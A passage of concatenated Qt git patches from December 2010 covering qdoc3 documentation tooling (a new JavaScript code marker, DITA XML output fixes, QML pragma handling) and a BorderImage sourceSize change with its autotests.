endVisit(QDeclarativeJS::AST::NumericLiteral *); - virtual bool visit(QDeclarativeJS::AST::StringLiteral *); - virtual void endVisit(QDeclarativeJS::AST::StringLiteral *); - virtual bool visit(QDeclarativeJS::AST::RegExpLiteral *); - virtual void endVisit(QDeclarativeJS::AST::RegExpLiteral *); - virtual bool visit(QDeclarativeJS::AST::ArrayLiteral *); - virtual void endVisit(QDeclarativeJS::AST::ArrayLiteral *); virtual bool visit(QDeclarativeJS::AST::ObjectLiteral *); virtual void endVisit(QDeclarativeJS::AST::ObjectLiteral *); virtual bool visit(QDeclarativeJS::AST::ElementList *); - virtual void endVisit(QDeclarativeJS::AST::ElementList *); - virtual bool visit(QDeclarativeJS::AST::Elision *); - virtual void endVisit(QDeclarativeJS::AST::Elision *); - virtual bool visit(QDeclarativeJS::AST::PropertyNameAndValueList *); - virtual void endVisit(QDeclarativeJS::AST::PropertyNameAndValueList *); - - virtual bool visit(QDeclarativeJS::AST::NestedExpression *); - virtual void endVisit(QDeclarativeJS::AST::NestedExpression *); - - virtual bool visit(QDeclarativeJS::AST::IdentifierPropertyName *); - virtual void endVisit(QDeclarativeJS::AST::IdentifierPropertyName *); - - virtual bool visit(QDeclarativeJS::AST::StringLiteralPropertyName *); - virtual void endVisit(QDeclarativeJS::AST::StringLiteralPropertyName *); - - virtual bool visit(QDeclarativeJS::AST::NumericLiteralPropertyName *); - virtual void endVisit(QDeclarativeJS::AST::NumericLiteralPropertyName *); - virtual bool visit(QDeclarativeJS::AST::ArrayMemberExpression *); - virtual void endVisit(QDeclarativeJS::AST::ArrayMemberExpression *); - virtual bool visit(QDeclarativeJS::AST::FieldMemberExpression *); - virtual void endVisit(QDeclarativeJS::AST::FieldMemberExpression *); - virtual bool visit(QDeclarativeJS::AST::NewMemberExpression *); - virtual void endVisit(QDeclarativeJS::AST::NewMemberExpression *); - virtual bool visit(QDeclarativeJS::AST::NewExpression *); - virtual void endVisit(QDeclarativeJS::AST::NewExpression *); - - virtual bool visit(QDeclarativeJS::AST::CallExpression *); - virtual void endVisit(QDeclarativeJS::AST::CallExpression *); - virtual bool visit(QDeclarativeJS::AST::ArgumentList *); - virtual void endVisit(QDeclarativeJS::AST::ArgumentList *); - virtual bool visit(QDeclarativeJS::AST::PostIncrementExpression *); - virtual void endVisit(QDeclarativeJS::AST::PostIncrementExpression *); - virtual bool visit(QDeclarativeJS::AST::PostDecrementExpression *); - virtual void endVisit(QDeclarativeJS::AST::PostDecrementExpression *); - virtual bool visit(QDeclarativeJS::AST::DeleteExpression *); - virtual void endVisit(QDeclarativeJS::AST::DeleteExpression *); - virtual bool visit(QDeclarativeJS::AST::VoidExpression *); - virtual void endVisit(QDeclarativeJS::AST::VoidExpression *); - virtual bool visit(QDeclarativeJS::AST::TypeOfExpression *); - virtual void endVisit(QDeclarativeJS::AST::TypeOfExpression *); - virtual bool visit(QDeclarativeJS::AST::PreIncrementExpression *); - virtual void endVisit(QDeclarativeJS::AST::PreIncrementExpression *); - virtual bool visit(QDeclarativeJS::AST::PreDecrementExpression *); - virtual void endVisit(QDeclarativeJS::AST::PreDecrementExpression *); - virtual bool visit(QDeclarativeJS::AST::UnaryPlusExpression *); - virtual void endVisit(QDeclarativeJS::AST::UnaryPlusExpression *); - virtual bool visit(QDeclarativeJS::AST::UnaryMinusExpression *); - virtual void endVisit(QDeclarativeJS::AST::UnaryMinusExpression *); - virtual bool visit(QDeclarativeJS::AST::TildeExpression *); - virtual void endVisit(QDeclarativeJS::AST::TildeExpression *); - virtual bool visit(QDeclarativeJS::AST::NotExpression *); - virtual void endVisit(QDeclarativeJS::AST::NotExpression *); - virtual bool visit(QDeclarativeJS::AST::BinaryExpression *); - virtual void endVisit(QDeclarativeJS::AST::BinaryExpression *); - virtual bool visit(QDeclarativeJS::AST::ConditionalExpression *); - virtual void endVisit(QDeclarativeJS::AST::ConditionalExpression *); - virtual bool visit(QDeclarativeJS::AST::Expression *); - virtual void endVisit(QDeclarativeJS::AST::Expression *); virtual bool visit(QDeclarativeJS::AST::Block *); virtual void endVisit(QDeclarativeJS::AST::Block *); - virtual bool visit(QDeclarativeJS::AST::StatementList *); - virtual void endVisit(QDeclarativeJS::AST::StatementList *); - virtual bool visit(QDeclarativeJS::AST::VariableStatement *); - virtual void endVisit(QDeclarativeJS::AST::VariableStatement *); - virtual bool visit(QDeclarativeJS::AST::VariableDeclarationList *); - virtual void endVisit(QDeclarativeJS::AST::VariableDeclarationList *); - virtual bool visit(QDeclarativeJS::AST::VariableDeclaration *); - virtual void endVisit(QDeclarativeJS::AST::VariableDeclaration *); - virtual bool visit(QDeclarativeJS::AST::EmptyStatement *); - virtual void endVisit(QDeclarativeJS::AST::EmptyStatement *); - virtual bool visit(QDeclarativeJS::AST::ExpressionStatement *); - virtual void endVisit(QDeclarativeJS::AST::ExpressionStatement *); - virtual bool visit(QDeclarativeJS::AST::IfStatement *); - virtual void endVisit(QDeclarativeJS::AST::IfStatement *); - virtual bool visit(QDeclarativeJS::AST::DoWhileStatement *); - virtual void endVisit(QDeclarativeJS::AST::DoWhileStatement *); - virtual bool visit(QDeclarativeJS::AST::WhileStatement *); - virtual void endVisit(QDeclarativeJS::AST::WhileStatement *); - virtual bool visit(QDeclarativeJS::AST::ForStatement *); - virtual void endVisit(QDeclarativeJS::AST::ForStatement *); - virtual bool visit(QDeclarativeJS::AST::LocalForStatement *); - virtual void endVisit(QDeclarativeJS::AST::LocalForStatement *); - virtual bool visit(QDeclarativeJS::AST::ForEachStatement *); - virtual void endVisit(QDeclarativeJS::AST::ForEachStatement *); - virtual bool visit(QDeclarativeJS::AST::LocalForEachStatement *); - virtual void endVisit(QDeclarativeJS::AST::LocalForEachStatement *); - virtual bool visit(QDeclarativeJS::AST::ContinueStatement *); - virtual void endVisit(QDeclarativeJS::AST::ContinueStatement *); - virtual bool visit(QDeclarativeJS::AST::BreakStatement *); - virtual void endVisit(QDeclarativeJS::AST::BreakStatement *); - virtual bool visit(QDeclarativeJS::AST::ReturnStatement *); - virtual void endVisit(QDeclarativeJS::AST::ReturnStatement *); - virtual bool visit(QDeclarativeJS::AST::WithStatement *); - virtual void endVisit(QDeclarativeJS::AST::WithStatement *); virtual bool visit(QDeclarativeJS::AST::CaseBlock *); virtual void endVisit(QDeclarativeJS::AST::CaseBlock *); virtual bool visit(QDeclarativeJS::AST::SwitchStatement *); - virtual void endVisit(QDeclarativeJS::AST::SwitchStatement *); - - virtual bool visit(QDeclarativeJS::AST::CaseClauses *); - virtual void endVisit(QDeclarativeJS::AST::CaseClauses *); - virtual bool visit(QDeclarativeJS::AST::CaseClause *); - virtual void endVisit(QDeclarativeJS::AST::CaseClause *); - virtual bool visit(QDeclarativeJS::AST::DefaultClause *); - virtual void endVisit(QDeclarativeJS::AST::DefaultClause *); - virtual bool visit(QDeclarativeJS::AST::LabelledStatement *); - virtual void endVisit(QDeclarativeJS::AST::LabelledStatement *); - virtual bool visit(QDeclarativeJS::AST::ThrowStatement *); - virtual void endVisit(QDeclarativeJS::AST::ThrowStatement *); - virtual bool visit(QDeclarativeJS::AST::TryStatement *); - virtual void endVisit(QDeclarativeJS::AST::TryStatement *); - virtual bool visit(QDeclarativeJS::AST::Catch *); - virtual void endVisit(QDeclarativeJS::AST::Catch *); - virtual bool visit(QDeclarativeJS::AST::Finally *); - virtual void endVisit(QDeclarativeJS::AST::Finally *); - virtual bool visit(QDeclarativeJS::AST::FunctionDeclaration *); - virtual void endVisit(QDeclarativeJS::AST::FunctionDeclaration *); - virtual bool visit(QDeclarativeJS::AST::FunctionExpression *); - virtual void endVisit(QDeclarativeJS::AST::FunctionExpression *); - virtual bool visit(QDeclarativeJS::AST::FormalParameterList *); - virtual void endVisit(QDeclarativeJS::AST::FormalParameterList *); - - virtual bool visit(QDeclarativeJS::AST::FunctionBody *); - virtual void endVisit(QDeclarativeJS::AST::FunctionBody *); - - virtual bool visit(QDeclarativeJS::AST::Program *); - virtual void endVisit(QDeclarativeJS::AST::Program *); - - virtual bool visit(QDeclarativeJS::AST::SourceElements *); - virtual void endVisit(QDeclarativeJS::AST::SourceElements *); - - virtual bool visit(QDeclarativeJS::AST::FunctionSourceElement *); - virtual void endVisit(QDeclarativeJS::AST::FunctionSourceElement *); - - virtual bool visit(QDeclarativeJS::AST::StatementSourceElement *); - virtual void endVisit(QDeclarativeJS::AST::StatementSourceElement *); - virtual bool visit(QDeclarativeJS::AST::DebuggerStatement *); - virtual void endVisit(QDeclarativeJS::AST::DebuggerStatement *); - - virtual bool visit(QDeclarativeJS::AST::UiParameterList *); - virtual void endVisit(QDeclarativeJS::AST::UiParameterList *); protected: QString protect(const QString &string); @@ -333,8 +164,6 @@ private: QString output; quint32 cursor; quint32 commentIndex; - int indent; - QString debug; }; QT_END_NAMESPACE -- cgit v0.12 From 3773bf874b3c9bd8b5a01984091768481c7b4e65 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 2 Dec 2010 20:37:52 +0100 Subject: Added a specialized version of the QML code marker for JavaScript files. --- tools/qdoc3/jscodemarker.cpp | 129 +++++++++++++++++++++++++++++++++++++++++++ tools/qdoc3/jscodemarker.h | 74 +++++++++++++++++++++++++ tools/qdoc3/main.cpp | 2 + tools/qdoc3/qdoc3.pro | 2 + 4 files changed, 207 insertions(+) create mode 100644 tools/qdoc3/jscodemarker.cpp create mode 100644 tools/qdoc3/jscodemarker.h diff --git a/tools/qdoc3/jscodemarker.cpp b/tools/qdoc3/jscodemarker.cpp new file mode 100644 index 0000000..e3a0ff1 --- /dev/null +++ b/tools/qdoc3/jscodemarker.cpp @@ -0,0 +1,129 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the tools applications of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/* + jscodemarker.cpp +*/ + +#include "private/qdeclarativejsast_p.h" +#include "private/qdeclarativejsengine_p.h" +#include "private/qdeclarativejslexer_p.h" +#include "private/qdeclarativejsnodepool_p.h" +#include "private/qdeclarativejsparser_p.h" + +#include "atom.h" +#include "node.h" +#include "jscodemarker.h" +#include "qmlmarkupvisitor.h" +#include "text.h" +#include "tree.h" + +QT_BEGIN_NAMESPACE + +JsCodeMarker::JsCodeMarker() +{ +} + +JsCodeMarker::~JsCodeMarker() +{ +} + +/*! + Returns true if the \a code is recognized by the parser. + */ +bool JsCodeMarker::recognizeCode(const QString &code) +{ + QDeclarativeJS::Engine engine; + QDeclarativeJS::Lexer lexer(&engine); + QDeclarativeJS::Parser parser(&engine); + QDeclarativeJS::NodePool m_nodePool("", &engine); + lexer.setCode(code, 1); + + return parser.parseProgram(); +} + +/*! + Returns true if \a ext is any of a list of file extensions + for the QML language. + */ +bool JsCodeMarker::recognizeExtension(const QString &ext) +{ + return ext == "js"; +} + +/*! + Returns true if the \a language is recognized. Only "QML" is + recognized by this marker. + */ +bool JsCodeMarker::recognizeLanguage(const QString &language) +{ + return language == "JavaScript" || language == "ECMAScript"; +} + +QString JsCodeMarker::markedUpCode(const QString &code, + const Node *relative, + const QString &dirPath) +{ + return addMarkUp(code, relative, dirPath); +} + +QString JsCodeMarker::addMarkUp(const QString &code, + const Node * /* relative */, + const QString &dirPath) +{ + QDeclarativeJS::Engine engine; + QDeclarativeJS::Lexer lexer(&engine); + lexer.setCode(code, 1); + + QDeclarativeJS::Parser parser(&engine); + QDeclarativeJS::NodePool m_nodePool("", &engine); + QString output; + + if (parser.parseProgram()) { + QDeclarativeJS::AST::Node *ast = parser.rootNode(); + QmlMarkupVisitor visitor(code, &engine); + QDeclarativeJS::AST::Node::accept(ast, &visitor); + output = visitor.markedUpCode(); + } + return output; +} + +QT_END_NAMESPACE diff --git a/tools/qdoc3/jscodemarker.h b/tools/qdoc3/jscodemarker.h new file mode 100644 index 0000000..f7cb025 --- /dev/null +++ b/tools/qdoc3/jscodemarker.h @@ -0,0 +1,74 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the tools applications of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/* + jscodemarker.h +*/ + +#ifndef JSCODEMARKER_H +#define JSCODEMARKER_H + +#include "qmlcodemarker.h" + +QT_BEGIN_NAMESPACE + +class JsCodeMarker : public QmlCodeMarker +{ +public: + JsCodeMarker(); + ~JsCodeMarker(); + + virtual bool recognizeCode(const QString &code); + virtual bool recognizeExtension(const QString &ext); + virtual bool recognizeLanguage(const QString &language); + + virtual QString markedUpCode(const QString &code, + const Node *relative, + const QString &dirPath); + +private: + QString addMarkUp(const QString &code, const Node * /* relative */, + const QString & /* dirPath */); +}; + +QT_END_NAMESPACE + +#endif diff --git a/tools/qdoc3/main.cpp b/tools/qdoc3/main.cpp index 68b5370..782df39 100644 --- a/tools/qdoc3/main.cpp +++ b/tools/qdoc3/main.cpp @@ -53,6 +53,7 @@ #include "ditaxmlgenerator.h" #include "doc.h" #include "htmlgenerator.h" +#include "jscodemarker.h" #include "plaincodemarker.h" #include "puredocparser.h" #include "qmlcodemarker.h" @@ -368,6 +369,7 @@ int main(int argc, char **argv) */ PlainCodeMarker plainMarker; CppCodeMarker cppMarker; + JsCodeMarker jsMarker; QmlCodeMarker qmlMarker; HtmlGenerator htmlGenerator; diff --git a/tools/qdoc3/qdoc3.pro b/tools/qdoc3/qdoc3.pro index 23ff7bd..4bc6bca 100644 --- a/tools/qdoc3/qdoc3.pro +++ b/tools/qdoc3/qdoc3.pro @@ -37,6 +37,7 @@ HEADERS += atom.h \ generator.h \ helpprojectwriter.h \ htmlgenerator.h \ + jscodemarker.h \ location.h \ node.h \ openedlist.h \ @@ -66,6 +67,7 @@ SOURCES += atom.cpp \ generator.cpp \ helpprojectwriter.cpp \ htmlgenerator.cpp \ + jscodemarker.cpp \ location.cpp \ main.cpp \ node.cpp \ -- cgit v0.12 From b02cf26c0c236679439826cb8093f6dd6d3b2fec Mon Sep 17 00:00:00 2001 From: Christopher Ham Date: Fri, 3 Dec 2010 16:20:58 +1000 Subject: borderImage should not support setting sourceSize SIGNAL sourceSizeChanged is properly called. Setting the sourceSize for borderImage in QML returns a warning. Auto tests were added to check that sourceSize remains consistent. Reviewed-by: Joona Petrell --- src/declarative/graphicsitems/qdeclarativeborderimage.cpp | 10 ++++++++++ src/declarative/graphicsitems/qdeclarativeborderimage_p.h | 2 ++ .../qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp | 4 ++++ 3 files changed, 16 insertions(+) diff --git a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp index c770a85..0bf09ad 100644 --- a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp @@ -246,6 +246,12 @@ void QDeclarativeBorderImage::setSource(const QUrl &url) load(); } +void QDeclarativeBorderImage::setSourceSize(const QSize& size) +{ + Q_UNUSED(size); + qmlInfo(this) << "Setting sourceSize for borderImage not supported"; +} + void QDeclarativeBorderImage::load() { Q_D(QDeclarativeBorderImage); @@ -315,6 +321,7 @@ void QDeclarativeBorderImage::load() d->progress = 1.0; emit statusChanged(d->status); emit progressChanged(d->progress); + requestFinished(); update(); } } @@ -475,6 +482,9 @@ void QDeclarativeBorderImage::requestFinished() setImplicitWidth(impsize.width()); setImplicitHeight(impsize.height()); + if (d->sourcesize.width() != d->pix.width() || d->sourcesize.height() != d->pix.height()) + emit sourceSizeChanged(); + d->progress = 1.0; emit statusChanged(d->status); emit progressChanged(1.0); diff --git a/src/declarative/graphicsitems/qdeclarativeborderimage_p.h b/src/declarative/graphicsitems/qdeclarativeborderimage_p.h index 9944cbe..7cf24f2 100644 --- a/src/declarative/graphicsitems/qdeclarativeborderimage_p.h +++ b/src/declarative/graphicsitems/qdeclarativeborderimage_p.h @@ -80,6 +80,8 @@ public: void paint(QPainter *, const QStyleOptionGraphicsItem *, QWidget *); void setSource(const QUrl &url); + void setSourceSize(const QSize&); + Q_SIGNALS: void horizontalTileModeChanged(); void verticalTileModeChanged(); diff --git a/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp b/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp index 2f00f60..5478145 100644 --- a/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp +++ b/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp @@ -153,6 +153,8 @@ void tst_qdeclarativeborderimage::imageSource() QTRY_VERIFY(obj->status() == QDeclarativeBorderImage::Ready); QCOMPARE(obj->width(), 120.); QCOMPARE(obj->height(), 120.); + QCOMPARE(obj->sourceSize().width(), 120); + QCOMPARE(obj->sourceSize().height(), 120); QCOMPARE(obj->horizontalTileMode(), QDeclarativeBorderImage::Stretch); QCOMPARE(obj->verticalTileMode(), QDeclarativeBorderImage::Stretch); } else { @@ -192,6 +194,8 @@ void tst_qdeclarativeborderimage::resized() QVERIFY(obj != 0); QCOMPARE(obj->width(), 300.); QCOMPARE(obj->height(), 300.); + QCOMPARE(obj->sourceSize().width(), 120); + QCOMPARE(obj->sourceSize().height(), 120); QCOMPARE(obj->horizontalTileMode(), QDeclarativeBorderImage::Stretch); QCOMPARE(obj->verticalTileMode(), QDeclarativeBorderImage::Stretch); -- cgit v0.12 From 6f1e732ff0838461be262fa0b86697fab5d8f5b2 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Fri, 3 Dec 2010 14:39:30 +0100 Subject: Minor housekeeping changes. --- tools/qdoc3/jscodemarker.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/qdoc3/jscodemarker.cpp b/tools/qdoc3/jscodemarker.cpp index e3a0ff1..8b6a31d 100644 --- a/tools/qdoc3/jscodemarker.cpp +++ b/tools/qdoc3/jscodemarker.cpp @@ -107,7 +107,7 @@ QString JsCodeMarker::markedUpCode(const QString &code, QString JsCodeMarker::addMarkUp(const QString &code, const Node * /* relative */, - const QString &dirPath) + const QString & /* dirPath */) { QDeclarativeJS::Engine engine; QDeclarativeJS::Lexer lexer(&engine); -- cgit v0.12 From b5915ef3a6d0417440ad82e9369d6679505b953e Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 6 Dec 2010 15:34:19 +0100 Subject: qdoc: Fixed some reported bugs in the XML. --- tools/qdoc3/ditaxmlgenerator.cpp | 69 +++++++++++++++++------------------- tools/qdoc3/test/qt-ditaxml.qdocconf | 8 ++++- 2 files changed, 39 insertions(+), 38 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index d4285a8..b4a42ab 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -714,27 +714,24 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, break; case Atom::Code: { - xmlWriter().writeStartElement("pre"); - xmlWriter().writeAttribute("outputclass","highlightedcode"); + xmlWriter().writeStartElement("codeblock"); QString chars = trimmedTrailing(atom->string()); writeText(chars, marker, relative); - xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // } break; case Atom::Qml: - xmlWriter().writeStartElement("pre"); - xmlWriter().writeAttribute("outputclass","highlightedcode"); + xmlWriter().writeStartElement("codeblock"); writeText(trimmedTrailing(atom->string()), marker, relative); - xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // break; case Atom::CodeNew: xmlWriter().writeStartElement("p"); xmlWriter().writeCharacters("you can rewrite it as"); xmlWriter().writeEndElement(); //

    - xmlWriter().writeStartElement("pre"); - xmlWriter().writeAttribute("outputclass","highlightedcode"); + xmlWriter().writeStartElement("codeblock"); writeText(trimmedTrailing(atom->string()), marker, relative); - xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // break; case Atom::CodeOld: xmlWriter().writeStartElement("p"); @@ -742,10 +739,9 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeEndElement(); //

    // fallthrough case Atom::CodeBad: - xmlWriter().writeStartElement("pre"); - xmlWriter().writeAttribute("outputclass","highlightedcode"); - xmlWriter().writeCharacters(trimmedTrailing(protectEnc(plainCode(atom->string())))); - xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement("codeblock"); + xmlWriter().writeCharacters(trimmedTrailing(plainCode(atom->string()))); + xmlWriter().writeEndElement(); // break; case Atom::FootnoteLeft: // ### For now @@ -1043,30 +1039,30 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, if (atom->next() != 0) text = atom->next()->string(); if (fileName.isEmpty()) { - xmlWriter().writeStartElement("b"); - xmlWriter().writeAttribute("outputclass","error"); - xmlWriter().writeCharacters("[Missing image: "); - xmlWriter().writeCharacters(protectEnc(atom->string())); - xmlWriter().writeEndElement(); // + /* + Don't bother outputting an error message. + Just output the href as if the image is in + the images directory... + */ + fileName = QLatin1String("images/") + protectEnc(atom->string()); } + + xmlWriter().writeStartElement("fig"); + xmlWriter().writeStartElement("image"); + xmlWriter().writeAttribute("href",protectEnc(fileName)); + if (atom->type() == Atom::InlineImage) + xmlWriter().writeAttribute("placement","inline"); else { - xmlWriter().writeStartElement("fig"); - xmlWriter().writeStartElement("image"); - xmlWriter().writeAttribute("href",protectEnc(fileName)); - if (atom->type() == Atom::InlineImage) - xmlWriter().writeAttribute("placement","inline"); - else { - xmlWriter().writeAttribute("placement","break"); - xmlWriter().writeAttribute("align","center"); - } - if (!text.isEmpty()) { - xmlWriter().writeStartElement("alt"); - xmlWriter().writeCharacters(protectEnc(text)); - xmlWriter().writeEndElement(); // - } - xmlWriter().writeEndElement(); // - xmlWriter().writeEndElement(); // + xmlWriter().writeAttribute("placement","break"); + xmlWriter().writeAttribute("align","center"); + } + if (!text.isEmpty()) { + xmlWriter().writeStartElement("alt"); + xmlWriter().writeCharacters(protectEnc(text)); + xmlWriter().writeEndElement(); // } + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // } break; case Atom::ImageText: @@ -2263,10 +2259,9 @@ void DitaXmlGenerator::generateBrief(const Node* node, CodeMarker* marker) void DitaXmlGenerator::generateIncludes(const InnerNode* inner, CodeMarker* marker) { if (!inner->includes().isEmpty()) { - xmlWriter().writeStartElement("pre"); - xmlWriter().writeAttribute("outputclass","highlightedcode"); + xmlWriter().writeStartElement("codeblock"); writeText(marker->markedUpIncludes(inner->includes()), marker, inner); - xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // } } diff --git a/tools/qdoc3/test/qt-ditaxml.qdocconf b/tools/qdoc3/test/qt-ditaxml.qdocconf index 63baead..1feb2b2 100644 --- a/tools/qdoc3/test/qt-ditaxml.qdocconf +++ b/tools/qdoc3/test/qt-ditaxml.qdocconf @@ -2,7 +2,8 @@ include(qt.qdocconf) imagedirs = $QTDIR/doc/src/images \ $QTDIR/examples \ - $QTDIR/doc/src/template/images + $QTDIR/doc/src/declarative/pics \ + $QTDIR/doc/src/template/images outputdir = $QTDIR/doc/ditaxml outputformats = DITAXML @@ -40,3 +41,8 @@ macro.begincomment = "\\c{/*}" macro.endcomment = "\\c{*/}" macro.uuml.DITAXML = "ü" macro.mdash.DITAXML = "—" + +macro.beginfloatleft.HTML = " " +macro.beginfloatright.HTML = " " +macro.endfloat.HTML = " " +macro.clearfloat.HTML = " " -- cgit v0.12 From 94cccc8b971eda3e0330950111c7988f3dd87309 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 6 Dec 2010 18:48:51 +0100 Subject: Removed QDebug includes. --- tools/qdoc3/helpprojectwriter.cpp | 2 -- tools/qdoc3/tokenizer.cpp | 1 - tools/qdoc3/tree.cpp | 1 - 3 files changed, 4 deletions(-) diff --git a/tools/qdoc3/helpprojectwriter.cpp b/tools/qdoc3/helpprojectwriter.cpp index 63e8df7..6253c58 100644 --- a/tools/qdoc3/helpprojectwriter.cpp +++ b/tools/qdoc3/helpprojectwriter.cpp @@ -41,7 +41,6 @@ #include #include -//#include #include "atom.h" #include "helpprojectwriter.h" @@ -49,7 +48,6 @@ #include "config.h" #include "node.h" #include "tree.h" -#include QT_BEGIN_NAMESPACE diff --git a/tools/qdoc3/tokenizer.cpp b/tools/qdoc3/tokenizer.cpp index 05ad5ee..6e7da20 100644 --- a/tools/qdoc3/tokenizer.cpp +++ b/tools/qdoc3/tokenizer.cpp @@ -42,7 +42,6 @@ #include "config.h" #include "tokenizer.h" -#include #include #include #include diff --git a/tools/qdoc3/tree.cpp b/tools/qdoc3/tree.cpp index 20c1373..ceb1f0f 100644 --- a/tools/qdoc3/tree.cpp +++ b/tools/qdoc3/tree.cpp @@ -54,7 +54,6 @@ #include "tree.h" #include -#include QT_BEGIN_NAMESPACE -- cgit v0.12 From 6834727fff1f74e15b2c9f25af1845e7f529afaa Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 6 Dec 2010 18:49:17 +0100 Subject: Forced the \qml command to use the QML code marker. --- tools/qdoc3/doc.cpp | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/tools/qdoc3/doc.cpp b/tools/qdoc3/doc.cpp index 4152207..f153dfb 100644 --- a/tools/qdoc3/doc.cpp +++ b/tools/qdoc3/doc.cpp @@ -549,7 +549,7 @@ void DocParser::parse(const QString& source, #ifdef QDOC_QML case CMD_QML: leavePara(); - append(Atom::Qml, getCode(CMD_QML, marker)); + append(Atom::Qml, getCode(CMD_QML, CodeMarker::markerForLanguage(QLatin1String("QML")))); break; case CMD_QMLTEXT: append(Atom::QmlText); @@ -2252,7 +2252,8 @@ QString DocParser::getCode(int cmd, CodeMarker *marker) if (indent < minIndent) minIndent = indent; code = unindent(minIndent, code); - marker = CodeMarker::markerForCode(code); + if (!marker) + marker = CodeMarker::markerForCode(code); return marker->markedUpCode(code, 0, ""); } -- cgit v0.12 From bb6d5d9eb2a40de14ab3a41fbdaf4092c1a3b4e8 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 6 Dec 2010 18:52:38 +0100 Subject: Added missing qmlcodemarker.cpp and qmlcodemarker.h files. Added code to remove pragmas before parsing and add them to the output. The extractPragmas() function was copied into both qmlcodeparser.cpp and qmlcodemarker.cpp from src/declarative/qml/qdeclarativescriptparser.cpp, and was modified to return either nothing (for the API parser) or a list of removed pragmas (for the code marker). --- tools/qdoc3/jscodemarker.cpp | 14 +- tools/qdoc3/qmlcodemarker.cpp | 287 +++++++++++++++++++++++++++++++++++++++ tools/qdoc3/qmlcodemarker.h | 85 ++++++++++++ tools/qdoc3/qmlcodeparser.cpp | 71 +++++++++- tools/qdoc3/qmlcodeparser.h | 3 + tools/qdoc3/qmlmarkupvisitor.cpp | 75 +++++++--- tools/qdoc3/qmlmarkupvisitor.h | 13 +- 7 files changed, 523 insertions(+), 25 deletions(-) create mode 100644 tools/qdoc3/qmlcodemarker.cpp create mode 100644 tools/qdoc3/qmlcodemarker.h diff --git a/tools/qdoc3/jscodemarker.cpp b/tools/qdoc3/jscodemarker.cpp index 8b6a31d..84a28c6 100644 --- a/tools/qdoc3/jscodemarker.cpp +++ b/tools/qdoc3/jscodemarker.cpp @@ -75,7 +75,10 @@ bool JsCodeMarker::recognizeCode(const QString &code) QDeclarativeJS::Lexer lexer(&engine); QDeclarativeJS::Parser parser(&engine); QDeclarativeJS::NodePool m_nodePool("", &engine); - lexer.setCode(code, 1); + + QString newCode = code; + QList pragmas = extractPragmas(newCode); + lexer.setCode(newCode, 1); return parser.parseProgram(); } @@ -111,7 +114,10 @@ QString JsCodeMarker::addMarkUp(const QString &code, { QDeclarativeJS::Engine engine; QDeclarativeJS::Lexer lexer(&engine); - lexer.setCode(code, 1); + + QString newCode = code; + QList pragmas = extractPragmas(newCode); + lexer.setCode(newCode, 1); QDeclarativeJS::Parser parser(&engine); QDeclarativeJS::NodePool m_nodePool("", &engine); @@ -119,7 +125,9 @@ QString 